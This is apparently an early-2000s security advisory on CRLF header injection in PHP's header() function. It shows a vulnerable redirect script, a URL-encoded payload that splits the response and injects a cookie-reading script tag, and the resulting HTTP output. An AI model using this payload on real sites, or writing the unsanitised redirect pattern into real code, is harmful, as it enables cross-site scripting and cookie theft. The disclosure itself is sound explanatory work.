PHP's header() function is used to modify HTTP header information by
specifying a header line, such as this:

<?php header("Location: http://www.yahoo.com/"); ?>

It is commonplace to see things such as this:

--- REDIR.PHP ---
<?php header("Location: $_GET['$url']"); ?>
--- REDIR.PHP ---

http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F
%6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64%
6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2
1%2D%2D

Will cause a series of lines to be produced:

HTTP/1.1 302 Found
Server: Xitami
Date: Sat, 07 Sep 2002 21:50:17 GMT
Content-length: 96
Content-type: text/html
X-powered-by: PHP/4.2.3
{Location: http://www.yahoo.com/

<SCRIPT>alert(document.cookie)</SCRIPT><!--} <-- See our code in
between the brackets
Content-type: text/html

The HTML produced is "broken" -- that is, it doesn't comply to RFC
standards,
because it doesn't have a "-->" tag. I did this to supress the stupid
"Content-type"
header that PHP was dumping in the response.

By using this, attackers can perform cross-site scripting attacks or
initiate downloads, in rare cases (via HTTP headers, such as
content-dispostion, etc.)

"The reason the mainstream is thought
of as a stream is because it is
so shallow."
                     - Author Unknown

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